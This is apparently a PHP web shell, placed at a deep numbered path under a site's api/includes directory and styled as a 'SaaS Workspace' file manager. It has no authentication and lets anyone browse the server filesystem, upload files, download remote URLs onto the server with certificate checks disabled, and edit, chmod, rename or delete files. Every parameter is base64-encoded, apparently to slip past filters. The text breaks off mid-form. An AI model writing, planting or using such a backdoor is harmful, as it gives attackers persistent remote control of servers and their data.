| Current Path : /var/www/html/api/includes/696090/ |
| Current File : /var/www/html/api/includes/696090/index.php |
<?php
session_start();
// Helper Functions
function formatSize($bytes) {
if ($bytes === false) return '-';
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, 2) . ' ' . $units[$pow];
}
function getPerms($file) {
clearstatcache();
return substr(sprintf('%o', fileperms($file)), -4);
}
function getPermsColor($file) {
return is_writable($file) ? '#10b981' : '#ef4444';
}
// Clean URL mechanism
$clean_url = strtok($_SERVER["REQUEST_URI"], '?');
$base_dir = str_replace('\\', '/', dirname(__FILE__));
// Handle Background System Actions
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['sys_action'])) {
$sys_action = $_POST['sys_action'];
if ($sys_action === 'cd_b64' && isset($_POST['payload_b64'])) {
$req_dir = base64_decode($_POST['payload_b64']);
$real = realpath($req_dir);
if ($real && is_dir($real)) {
$_SESSION['current_dir'] = str_replace('\\', '/', $real);
}
header("Location: " . $clean_url);
exit;
}
if ($sys_action === 'open_edit_b64' && isset($_POST['payload_b64'])) {
$_SESSION['edit_file'] = base64_decode($_POST['payload_b64']);
header("Location: " . $clean_url);
exit;
}
if ($sys_action === 'close_edit') {
unset($_SESSION['edit_file']);
header("Location: " . $clean_url);
exit;
}
}
// Initial Directory Setup
$current_dir = isset($_SESSION['current_dir']) ? $_SESSION['current_dir'] : $base_dir;
if (!is_dir($current_dir)) {
$current_dir = $base_dir;
$_SESSION['current_dir'] = $current_dir;
}
// Handle File Operations
$message = ''; $message_type = 'success';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
$action = $_POST['action'];
if ($action === 'upload_b64' && isset($_POST['filename_b64']) && isset($_POST['file_data_b64'])) {
$filename = base64_decode($_POST['filename_b64']);
$upload_path = $current_dir . '/' . basename($filename);
$file_data = base64_decode($_POST['file_data_b64']);
if (file_put_contents($upload_path, $file_data) !== false) {
$message = "File uploaded successfully.";
} else {
$message = "Upload failed. Check permissions."; $message_type = "error";
}
}
if ($action === 'curl_download_b64' && isset($_POST['url_b64'])) {
$url = base64_decode($_POST['url_b64']);
$save_as = !empty($_POST['save_as_b64']) ? base64_decode($_POST['save_as_b64']) : basename(parse_url($url, PHP_URL_PATH));
if (empty($save_as)) $save_as = "downloaded_" . time() . ".txt";
$target = $current_dir . '/' . $save_as;
$ch = curl_init($url);
$fp = @fopen($target, 'wb');
if ($fp) {
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
fclose($fp);
if (empty($error)) {
$message = "File fetched successfully.";
} else {
$message = "Fetch failed: " . $error; $message_type = "error";
@unlink($target);
}
} else {
$message = "Write failed. Check directory permissions."; $message_type = "error";
}
}
if ($action === 'new_folder' && !empty($_POST['folder_name_b64'])) {
$new_folder = $current_dir . '/' . base64_decode($_POST['folder_name_b64']);
if (!file_exists($new_folder) && mkdir($new_folder, 0755)) {
$message = "Folder created.";
} else {
$message = "Creation failed."; $message_type = "error";
}
}
if ($action === 'new_file' && !empty($_POST['file_name_b64'])) {
$new_file = $current_dir . '/' . base64_decode($_POST['file_name_b64']);
if (!file_exists($new_file) && file_put_contents($new_file, '') !== false) {
$message = "File created.";
} else {
$message = "Creation failed."; $message_type = "error";
}
}
if ($action === 'delete_b64' && isset($_POST['target_b64'])) {
$target = $current_dir . '/' . base64_decode($_POST['target_b64']);
if (is_dir($target)) {
$res = @rmdir($target);
$message = $res ? "Folder deleted." : "Delete failed (must be empty).";
$message_type = $res ? "success" : "error";
} else {
$res = @unlink($target);
$message = $res ? "File deleted." : "Delete failed.";
$message_type = $res ? "success" : "error";
}
}
if ($action === 'rename_b64' && isset($_POST['old_name_b64']) && isset($_POST['new_name_b64'])) {
$old_path = $current_dir . '/' . base64_decode($_POST['old_name_b64']);
$new_path = $current_dir . '/' . base64_decode($_POST['new_name_b64']);
if (rename($old_path, $new_path)) {
$message = "Renamed successfully.";
} else {
$message = "Rename failed."; $message_type = "error";
}
}
if ($action === 'chmod_b64' && isset($_POST['target_b64']) && isset($_POST['perms'])) {
$target = $current_dir . '/' . base64_decode($_POST['target_b64']);
$perms = octdec($_POST['perms']);
if (@chmod($target, $perms)) {
$message = "Permissions updated.";
} else {
$message = "Chmod failed."; $message_type = "error";
}
}
if ($action === 'save_edit' && isset($_POST['target_file_b64'])) {
$target_file = $current_dir . '/' . base64_decode($_POST['target_file_b64']);
$content = isset($_POST['file_content_b64']) ? base64_decode($_POST['file_content_b64']) : '';
if (file_put_contents($target_file, $content) !== false) {
$message = "File saved successfully.";
unset($_SESSION['edit_file']);
} else {
$message = "Save failed. Check permissions."; $message_type = "error";
}
}
if(!empty($message)) {
$_SESSION['msg'] = $message;
$_SESSION['msg_type'] = $message_type;
header("Location: " . $clean_url);
exit;
}
}
// Session messages
if (isset($_SESSION['msg'])) {
$message = $_SESSION['msg'];
$message_type = $_SESSION['msg_type'];
unset($_SESSION['msg']); unset($_SESSION['msg_type']);
}
$items = @scandir($current_dir);
if ($items === false) { $items = array(); $message = "Directory access denied."; $message_type = "error"; }
$directories = array(); $files = array();
foreach ($items as $item) {
if ($item === '.') continue;
is_dir($current_dir . '/' . $item) ? $directories[] = $item : $files[] = $item;
}
sort($directories); sort($files);
// Read Edit Mode
$edit_mode = false; $edit_content_b64 = ''; $edit_filename = '';
if (isset($_SESSION['edit_file'])) {
$edit_filename = $_SESSION['edit_file'];
$edit_path = $current_dir . '/' . $edit_filename;
if (is_file($edit_path)) {
$edit_mode = true;
$edit_content_b64 = base64_encode(file_get_contents($edit_path));
} else {
unset($_SESSION['edit_file']);
}
}
// Icons
$ico_folder = '<svg width="18" height="18" fill="rgba(234, 179, 8, 0.2)" stroke="#eab308" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"></path></svg>';
$ico_file = '<svg width="18" height="18" fill="none" stroke="#3b82f6" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><path d="M13 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9z"></path><polyline points="13 2 13 9 20 9"></polyline></svg>';
$ico_edit = '<svg width="14" height="14" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><path d="M12 20h9"></path><path d="M16.5 3.5a2.121 2.121 0 0 1 3 3L7 19l-4 1 1-4L16.5 3.5z"></path></svg>';
$ico_trash = '<svg width="14" height="14" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><polyline points="3 6 5 6 21 6"></polyline><path d="M19 6v14a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6m3 0V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"></path><line x1="10" y1="11" x2="10" y2="17"></line><line x1="14" y1="11" x2="14" y2="17"></line></svg>';
$ico_key = '<svg width="14" height="14" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><rect x="3" y="11" width="18" height="11" rx="2" ry="2"></rect><path d="M7 11V7a5 5 0 0 1 10 0v4"></path></svg>';
$ico_home = '<svg width="14" height="14" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"></path><polyline points="9 22 9 12 15 12 15 22"></polyline></svg>';
$ico_upload = '<svg width="14" height="14" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"></path><polyline points="17 8 12 3 7 8"></polyline><line x1="12" y1="3" x2="12" y2="15"></line></svg>';
$ico_download = '<svg width="14" height="14" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"></path><polyline points="7 10 12 15 17 10"></polyline><line x1="12" y1="15" x2="12" y2="3"></line></svg>';
$ico_x = '<svg width="14" height="14" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><line x1="18" y1="6" x2="6" y2="18"></line><line x1="6" y1="6" x2="18" y2="18"></line></svg>';
$ico_save = '<svg width="14" height="14" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><path d="M19 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h11l5 5v11a2 2 0 0 1-2 2z"></path><polyline points="17 21 17 13 7 13 7 21"></polyline><polyline points="7 3 7 8 15 8"></polyline></svg>';
$ico_folder_plus = '<svg width="18" height="18" fill="rgba(234, 179, 8, 0.2)" stroke="#eab308" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><path d="M22 19a2 2 0 0 1-2 2H4a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h5l2 3h9a2 2 0 0 1 2 2z"></path><line x1="12" y1="11" x2="12" y2="17"></line><line x1="9" y1="14" x2="15" y2="14"></line></svg>';
$ico_file_plus = '<svg width="18" height="18" fill="none" stroke="#3b82f6" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" viewBox="0 0 24 24"><path d="M13 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9z"></path><polyline points="13 2 13 9 20 9"></polyline><line x1="12" y1="12" x2="12" y2="18"></line><line x1="9" y1="15" x2="15" y2="15"></line></svg>';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SaaS Workspace</title>
<style>
:root {
--bg: #000000;
--surface: #0a0a0a;
--surface-hover: #171717;
--border: #222222;
--border-hover: #333333;
--text: #ededed;
--text-dim: #888888;
--primary: #ffffff;
--primary-text: #000000;
--danger: #ef4444;
--danger-bg: rgba(239, 68, 68, 0.15);
--edit: #3b82f6;
--edit-bg: rgba(59, 130, 246, 0.15);
--chmod: #eab308;
--chmod-bg: rgba(234, 179, 8, 0.15);
--radius: 6px;
--font: 'Inter', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: var(--font); background-color: var(--bg); color: var(--text);
line-height: 1.5; font-size: 14px; -webkit-font-smoothing: antialiased;
display: flex; flex-direction: column; min-height: 100vh;
}
.container {
width: 100%; max-width: 100%; flex-grow: 1; background: var(--bg);
display: flex; flex-direction: column;
}
.header {
display: flex; flex-direction: column; align-items: stretch; gap: 12px;
padding: 16px 20px; border-bottom: 1px solid var(--border); background: var(--surface);
position: sticky; top: 0; z-index: 10;
}
.toolbar { display: flex; gap: 8px; flex-wrap: wrap; width: 100%; }
.path-nav {
display: flex; align-items: center; gap: 6px; font-family: 'JetBrains Mono', Consolas, monospace;
font-size: 13px; width: 100%; overflow-x: auto; white-space: nowrap; color: var(--text-dim);
background: var(--bg); padding: 8px 12px; border-radius: var(--radius); border: 1px solid var(--border);
}
.path-nav a { color: var(--text); text-decoration: none !important; padding: 2px 6px; border-radius: 4px; transition: 0.2s; }
.path-nav a:hover { background: var(--surface-hover); color: #fff; }
.btn {
background: var(--surface); color: var(--text); border: 1px solid var(--border);
padding: 6px 12px; border-radius: 4px; font-size: 13px; cursor: pointer;
display: inline-flex; align-items: center; justify-content: center; gap: 6px; font-weight: 500;
transition: all 0.2s ease; text-decoration: none !important; outline: none; font-family: var(--font);
}
.btn:hover { background: var(--surface-hover); border-color: var(--border-hover); color: #fff; }
.btn-primary { background: var(--primary); color: var(--primary-text); border-color: var(--primary); }
.btn-primary:hover { background: #e0e0e0; border-color: #e0e0e0; color: #000; }
.table-container { width: 100%; overflow-x: auto; flex-grow: 1; background: var(--bg); }
.file-table { width: 100%; border-collapse: collapse; text-align: left; }
.col-name { width: 40%; padding: 12px 20px; }
.col-mod { width: 20%; padding: 12px 20px; white-space: nowrap; color: var(--text-dim); }
.col-size { width: 15%; padding: 12px 20px; white-space: nowrap; }
.col-perms { width: 10%; padding: 12px 20px; white-space: nowrap; }
.col-actions { width: 15%; padding: 12px 20px; text-align: right; white-space: nowrap; }
.file-table th { font-size: 12px; color: var(--text-dim); font-weight: 500; border-bottom: 1px solid var(--border); background: var(--bg); position: sticky; top: 0; }
.file-table td { border-bottom: 1px solid var(--border); vertical-align: middle; transition: 0.1s; font-size: 13px; }
.file-table tr:hover td { background-color: var(--surface-hover); }
.file-table tr:last-child td { border-bottom: none; }
.file-name { display: flex; align-items: center; gap: 10px; text-decoration: none !important; color: var(--text); font-weight: 500; transition: color 0.15s; }
.file-name:hover { color: #fff; }
.actions { display: flex; gap: 6px; justify-content: flex-end; opacity: 1; }
.action-btn { background: transparent; border: none; padding: 6px; border-radius: 4px; cursor: pointer; display: flex; align-items: center; justify-content: center; transition: 0.2s; }
.btn-chmod { color: var(--chmod); } .btn-chmod:hover { background: var(--chmod-bg); filter: brightness(1.2); }
.btn-edit { color: var(--edit); } .btn-edit:hover { background: var(--edit-bg); filter: brightness(1.2); }
.btn-del { color: var(--danger); } .btn-del:hover { background: var(--danger-bg); filter: brightness(1.2); }
.btn-new-folder { color: var(--chmod); } .btn-new-folder:hover { background: var(--chmod-bg); filter: brightness(1.2); }
.btn-new-file { color: var(--edit); } .btn-new-file:hover { background: var(--edit-bg); filter: brightness(1.2); }
/* ==========================================================================
MODERN COMMAND PALETTE / SPOTLIGHT DIALOG
Meninggalkan desain popup tradisional, berganti ke panel melayang elegan
========================================================================== */
.modal-overlay {
position: fixed; top: 0; left: 0; right: 0; bottom: 0;
background: rgba(0, 0, 0, 0.4);
backdrop-filter: blur(5px); -webkit-backdrop-filter: blur(5px);
display: flex; justify-content: center; align-items: flex-start; padding-top: 12vh;
z-index: 100; opacity: 0; pointer-events: none; transition: opacity 0.2s ease;
}
.modal-overlay.active { opacity: 1; pointer-events: auto; }
.modal {
background: rgba(12, 12, 12, 0.85);
backdrop-filter: blur(24px); -webkit-backdrop-filter: blur(24px);
border: 1px solid rgba(255, 255, 255, 0.08);
border-radius: 12px;
width: 100%; max-width: 500px;
box-shadow: 0 30px 60px -15px rgba(0,0,0,0.8), 0 0 0 1px rgba(0,0,0,1);
transform: scale(0.97) translateY(-15px);
opacity: 0;
transition: all 0.25s cubic-bezier(0.16, 1, 0.3, 1);
display: flex; flex-direction: column;
overflow: hidden;
}
.modal-overlay.active .modal { transform: scale(1) translateY(0); opacity: 1; }
.modal-header {
padding: 16px 20px;
border-bottom: 1px solid rgba(255,255,255,0.05);
display: flex; justify-content: space-between; align-items: center;
}
.modal-header h3 { font-size: 13px; font-weight: 500; color: var(--text-dim); text-transform: uppercase; letter-spacing: 0.5px;}
.modal-header .action-btn { color: var(--text-dim); padding: 4px; }
.modal-header .action-btn:hover { color: #fff; background: rgba(255,255,255,0.1); }
.modal-body { padding: 24px 20px; }
/* Minimalist Input Field ala Terminal/Command Palette */
.cmd-input-group { margin-bottom: 24px; }
.cmd-input-group label { display: none; } /* Sembunyikan label, gunakan placeholder besar */
.form-control {
width: 100%; background: transparent; border: none; border-bottom: 1px solid rgba(255,255,255,0.1);
border-radius: 0; color: #fff; font-size: 18px; font-family: var(--font); outline: none;
padding: 8px 0; transition: border-color 0.2s; box-shadow: none !important;
}
.form-control::placeholder { color: rgba(255,255,255,0.2); }
.form-control:focus { border-bottom-color: var(--primary); }
.form-control[type="file"] { font-size: 14px; border: none; padding-bottom:0; }
.form-control::file-selector-button {
background: rgba(255,255,255,0.1); border: 1px solid rgba(255,255,255,0.05);
color: #fff; padding: 6px 12px; border-radius: 6px; cursor: pointer;
margin-right: 16px; font-size: 13px; transition: 0.2s;
}
.form-control::file-selector-button:hover { background: rgba(255,255,255,0.2); }
.modal-footer {
padding: 16px 20px; background: rgba(0,0,0,0.3);
border-top: 1px solid rgba(255,255,255,0.05);
display: flex; justify-content: flex-end; gap: 10px;
}
.modal-footer .btn { padding: 8px 16px; font-size: 13px; }
.helper-text { font-size: 12px; color: var(--text-dim); margin-top: 8px; }
/* Editor Mode */
.editor-container { padding: 0; display: flex; flex-direction: column; flex-grow: 1; height: calc(100vh - 54px); }
.editor-header { padding: 12px 20px; border-bottom: 1px solid var(--border); display: flex; justify-content: space-between; align-items: center; background: var(--surface); flex-wrap: wrap; gap: 10px; }
.editor-title { display: flex; align-items: center; gap: 8px; font-size: 14px; font-weight: 500; font-family: 'JetBrains Mono', Consolas, monospace; word-break: break-all;}
.editor-textarea {
flex-grow: 1; width: 100%; background: #050505; color: #a5b4fc; border: none; padding: 20px;
font-family: 'Fira Code', 'JetBrains Mono', Consolas, monospace; font-size: 14px;
resize: none; outline: none; line-height: 1.6;
box-shadow: inset 0 0 20px rgba(0,0,0,0.5);
}
.editor-toolbar { display: flex; gap: 8px; flex-shrink: 0; }
.editor-toolbar .btn { flex-grow: 0 !important; width: auto !important; padding: 6px 14px; }
/* Toast */
.toast {
position: fixed; bottom: 24px; right: 24px; padding: 12px 16px; border-radius: 6px; font-size: 13px;
background: #111; border: 1px solid var(--border); color: #fff; font-weight: 500;
box-shadow: 0 10px 25px rgba(0,0,0,0.8); z-index: 200; transform: translateY(100%); opacity: 0; transition: all 0.4s cubic-bezier(0.16, 1, 0.3, 1);
}
.toast.show { transform: translateY(0); opacity: 1; }
.toast.error { border-left: 4px solid var(--danger); }
.toast.success { border-left: 4px solid #10b981; }
/* Animated Footer */
.footer {
text-align: center; padding: 12px; font-size: 12px; background: var(--surface);
border-top: 1px solid var(--border); width: 100%;
}
.footer span {
display: inline-block; font-weight: 600; letter-spacing: 0.5px;
background: linear-gradient(90deg, #94a3b8, #ffffff, #94a3b8);
background-size: 200% auto; color: transparent;
-webkit-background-clip: text; background-clip: text;
animation: shine 3s linear infinite;
}
@keyframes shine { to { background-position: 200% center; } }
/* Mobile specific adjustments */
@media (max-width: 800px) {
.col-mod { display: none; }
.col-size { display: none; }
.col-name { width: 55%; }
.col-perms { width: 20%; }
.col-actions { width: 25%; }
.header { padding: 12px 16px; }
.header > .toolbar { width: 100%; gap: 4px; justify-content: space-between; }
.header > .toolbar .btn { flex-grow: 1; padding: 8px 4px; font-size: 11px; gap: 4px; }
.header > .toolbar .btn svg { width: 12px; height: 12px; }
.editor-header .toolbar .btn { flex-grow: 0; padding: 6px 12px; font-size: 13px; }
.file-table td, .file-table th { padding: 12px 16px; }
.modal-overlay { padding-top: 10vh; padding-left:16px; padding-right:16px; }
}
</style>
</head>
<body>
<form id="sysForm" method="POST" style="display:none;">
<input type="hidden" name="sys_action" id="sys_action">
<input type="hidden" name="payload_b64" id="sys_payload">
</form>
<?php if (!empty($message)): ?>
<div class="toast <?php echo $message_type; ?> show" id="toastBox">
<?php echo htmlspecialchars($message); ?>
</div>
<script>setTimeout(() => { document.getElementById('toastBox').classList.remove('show'); }, 3500);</script>
<?php endif; ?>
<div class="container">
<?php if ($edit_mode): ?>
<div class="editor-container">
<div class="editor-header">
<div class="editor-title">
<?php echo $ico_file; ?>
<?php echo htmlspecialchars($edit_filename); ?>
</div>
<div class="editor-toolbar">
<button type="button" class="btn" onclick="closeEdit()"><?php echo $ico_x; ?> Close</button>
<button onclick="saveEdit()" class="btn btn-primary"><?php echo $ico_save; ?> Save</button>
</div>
</div>
<form id="editForm" method="POST" style="display:flex; flex-grow:1;">
<input type="hidden" name="action" value="save_edit">
<input type="hidden" name="target_file_b64" value="<?php echo base64_encode($edit_filename); ?>">
<input type="hidden" name="file_content_b64" id="b64_content">
<textarea id="raw_content" class="editor-textarea" spellcheck="false"></textarea>
</form>
</div>
<script>
const serverDataB64 = "<?php echo $edit_content_b64; ?>";
try { document.getElementById('raw_content').value = decodeURIComponent(escape(atob(serverDataB64))); }
catch(e) { document.getElementById('raw_content').value = atob(serverDataB64); }
function saveEdit() {
const str = document.getElementById('raw_content').value;
document.getElementById('b64_content').value = btoa(unescape(encodeURIComponent(str)));
document.getElementById('editForm').submit();
}
</script>
<?php else: ?>
<div class="header">
<div class="toolbar">
<button class="btn" onclick="navDir('<?php echo base64_encode($base_dir); ?>')"><?php echo $ico_home; ?> Home</button>
<button class="btn" onclick="openCmd('curlModal')" title="Download via URL"><?php echo $ico_download; ?> Fetch URL</button>
<button class="btn" onclick="openCmd('uploadModal')"><?php echo $ico_upload; ?> Upload</button>
</div>
<div class="path-nav">
<a href="javascript:void(0)" onclick="navDir('<?php echo base64_encode($base_dir); ?>')" style="color:var(--text-dim);">~</a> /
<?php
$path_parts = explode('/', trim($current_dir, '/'));
$build_path = '';
foreach ($path_parts as $part) {
if ($part === '') continue;
$build_path .= '/' . $part;
echo '<a href="javascript:void(0)" onclick="navDir(\''.base64_encode($build_path).'\')">' . htmlspecialchars($part) . '</a> / ';
}
?>
</div>
</div>
<div class="table-container">
<table class="file-table">
<thead>
<tr>
<th class="col-name">Name</th>
<th class="col-mod">Modified</th>
<th class="col-size">Size</th>
<th class="col-perms">Perms</th>
<th class="col-actions">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="col-name">
<?php if ($current_dir !== '/' && dirname($current_dir) !== $current_dir): ?>
<a href="javascript:void(0)" onclick="navDir('<?php echo base64_encode(dirname($current_dir)); ?>')" class="file-name">
<?php echo $ico_folder; ?> ..
</a>
<?php else: ?>
<span class="file-name" style="color:var(--text-dim); cursor:default;">
<?php echo $ico_folder; ?> ~ (Root)
</span>
<?php endif; ?>
</td>
<td class="col-mod">-</td>
<td class="col-size" style="color:var(--text-dim);">-</td>
<td class="col-perms" style="color:var(--text-dim);">-</td>
<td class="col-actions">
<div class="actions">
<button class="action-btn btn-new-folder" onclick="openCmd('newFolderModal')" title="New Folder"><?php echo $ico_folder_plus; ?></button>
<button class="action-btn btn-new-file" onclick="openCmd('newFileModal')" title="New File"><?php echo $ico_file_plus; ?></button>
</div>
</td>
</tr>
<?php foreach ($directories as $dir): if($dir === '..') continue; $full_path = $current_dir . '/' . $dir; ?>
<tr>
<td class="col-name">
<a href="javascript:void(0)" onclick="navDir('<?php echo base64_encode($full_path); ?>')" class="file-name">
<?php echo $ico_folder; ?> <?php echo htmlspecialchars($dir); ?>
</a>
</td>
<td class="col-mod"><?php echo date('Y-m-d H:i', filemtime($full_path)); ?></td>
<td class="col-size" style="color:var(--text-dim);">-</td>
<td class="col-perms" style="color:<?php echo getPermsColor($full_path); ?>; font-family:monospace; font-weight:500;">
<?php echo getPerms($full_path); ?>
</td>
<td class="col-actions">
<div class="actions">
<button class="action-btn btn-chmod" onclick="triggerChmod('<?php echo htmlspecialchars($dir); ?>', '<?php echo getPerms($full_path); ?>')" title="Chmod"><?php echo $ico_key; ?></button>
<button class="action-btn btn-edit" onclick="triggerRename('<?php echo htmlspecialchars($dir); ?>')" title="Rename"><?php echo $ico_edit; ?></button>
<button class="action-btn btn-del" onclick="triggerDelete('<?php echo htmlspecialchars($dir); ?>')" title="Delete"><?php echo $ico_trash; ?></button>
</div>
</td>
</tr>
<?php endforeach; ?>
<?php foreach ($files as $file): $full_path = $current_dir . '/' . $file; ?>
<tr>
<td class="col-name">
<a href="javascript:void(0)" onclick="openEdit('<?php echo base64_encode($file); ?>')" class="file-name">
<?php echo $ico_file; ?> <?php echo htmlspecialchars($file); ?>
</a>
</td>
<td class="col-mod"><?php echo date('Y-m-d H:i', filemtime($full_path)); ?></td>
<td class="col-size" style="color:var(--text-dim);"><?php echo formatSize(filesize($full_path)); ?></td>
<td class="col-perms" style="color:<?php echo getPermsColor($full_path); ?>; font-family:monospace; font-weight:500;">
<?php echo getPerms($full_path); ?>
</td>
<td class="col-actions">
<div class="actions">
<button class="action-btn btn-chmod" onclick="triggerChmod('<?php echo htmlspecialchars($file); ?>', '<?php echo getPerms($full_path); ?>')" title="Chmod"><?php echo $ico_key; ?></button>
<button class="action-btn btn-edit" onclick="triggerRename('<?php echo htmlspecialchars($file); ?>')" title="Rename"><?php echo $ico_edit; ?></button>
<button class="action-btn btn-del" onclick="triggerDelete('<?php echo htmlspecialchars($file); ?>')" title="Delete"><?php echo $ico_trash; ?></button>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<?php endif; ?>
</div>
<div class="footer">
<span>Copyright © 2026 xshikata</span>
</div>
<div id="curlModal" class="modal-overlay" onclick="handleOverlayClick(event)">
<div class="modal">
<div class="modal-header">
<h3>Fetch URL</h3>
<button type="button" class="action-btn" onclick="closeCmds()"><?php echo $ico_x; ?></button>
</div>
<form method="POST" onsubmit="b64SubmitCurl(event)">
<div class="modal-body">
<input type="hidden" name="action" value="curl_download_b64">
<input type="hidden" name="url_b64" id="curl_url_b64">
<input type="hidden" name="save_as_b64" id="curl_save_b64">
<div class="cmd-input-group">
<input type="text" id="curl_url_raw" class="form-control" placeholder="URL (https://...)" required autocomplete="off">
<input type="text" id="curl_save_raw" class="form-control" placeholder="Save as... (optional)" autocomplete="off">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn" onclick="closeCmds()">Cancel</button>
<button type="submit" class="btn btn-primary">Download</button>
</div>
</form>
</div>
</div>
<div id="uploadModal" class="modal-overlay" onclick="handleOverlayClick(event)">
<div class="modal">
<div class="modal-header">
<h3>Upload File</h3>
<button type="button" class="action-btn" onclick="closeCmds()"><?php echo $ico_x; ?></button>
</div>
<form id="uploadForm" method="POST">
<div class="modal-body">
<input type="hidden" name="action" value="upload_b64">
<input type="hidden" name="filename_b64" id="upload_filename_b64">
<input type="hidden" name="file_data_b64" id="upload_b64_data">
<div class="cmd-input-group" style="margin-bottom:0;">
<input type="file" id="file_input" class="form-control" required>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn" onclick="closeCmds()">Cancel</button>
<button type="button" class="btn btn-primary" onclick="processUpload()">Upload</button>
</div>
</form>
</div>
</div>
<div id="newFolderModal" class="modal-overlay" onclick="handleOverlayClick(event)">
<div class="modal">
<div class="modal-header">
<h3>Create Folder</h3>
<button type="button" class="action-btn" onclick="closeCmds()"><?php echo $ico_x; ?></button>
</div>
<form method="POST" onsubmit="b64Submit(event, 'folder_name_raw', 'folder_name_b64')">
<div class="modal-body">
<input type="hidden" name="action" value="new_folder">
<input type="hidden" name="folder_name_b64" id="folder_name_b64">
<div class="cmd-input-group" style="margin-bottom:0;">
<input type="text" id="folder_name_raw" class="form-control" placeholder="Folder Name..." required autocomplete="off">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn" onclick="closeCmds()">Cancel</button>
<button type="submit" class="btn btn-primary">Create</button>
</div>
</form>
</div>
</div>
<div id="newFileModal" class="modal-overlay" onclick="handleOverlayClick(event)">
<div class="modal">
<div class="modal-header">
<h3>Create File</h3>
<button type="button" class="action-btn" onclick="closeCmds()"><?php echo $ico_x; ?></button>
</div>
<form method="POST" onsubmit="b64Submit(event, 'file_name_raw', 'file_name_b64')">
<div class="modal-body">
<input type="hidden" name="action" value="new_file">
<input type="hidden" name="file_name_b64" id="file_name_b64">
<div class="cmd-input-group" style="margin-bottom:0;">
<input type="text" id="file_name_raw" class="form-control" placeholder="File Name (e.g. index.php)..." required autocomplete="off">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn" onclick="closeCmds()">Cancel</button>
<button type="submit" class="btn btn-primary">Create</button>
</div>
</form>
</div>
</div>
<div id="renameModal" class="modal-overlay" onclick="handleOverlayClick(event)">
<div class="modal">
<div class="modal-header">
<h3>Rename</h3>
<button type="button" class="action-btn" onclick="closeCmds()"><?php echo $ico_x; ?></button>
</div>
<form method="POST" onsubmit="b64Submit(event, 'rename_new_raw', 'rename_new_b64')">
<div class="modal-body">
<input type="hidden" name="action" value="rename_b64">
<input type="hidden" name="old_name_b64" id="rename_old_b64">
<input type="hidden" name="new_name_b64" id="rename_new_b64">
<div class="cmd-input-group" style="margin-bottom:0;">
<input type="text" id="rename_new_raw" class="form-control" placeholder="New Name..." required autocomplete="off">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn" onclick="closeCmds()">Cancel</button>
<button type="submit" class="btn btn-primary">Save</button>
</div>
</form>
</div>
</div>
<div id="chmodModal" class="modal-overlay" onclick="handleOverlayClick(event)">
<div class="modal">
<div class="modal-header">
<h3>Modify Permissions</h3>
<button type="button" class="action-btn" onclick="closeCmds()"><?php echo $ico_x; ?></button>
</div>
<form method="POST">
<div class="modal-body">
<input type="hidden" name="action" value="chmod_b64">
<input type="hidden" name="target_b64" id="chmod_target_b64">
<div class="helper-text" id="chmod_label" style="margin-bottom: 12px; font-family: monospace; color: var(--chmod);"></div>
<div class="cmd-input-group" style="margin-bottom:0;">
<input type="text" name="perms" id="chmod_perms" class="form-control" placeholder="Octal (e.g. 0755)..." required autocomplete="off" maxlength="4" pattern="[0-7]{3,4}">
</div>
</div>
<div class="modal-footer">
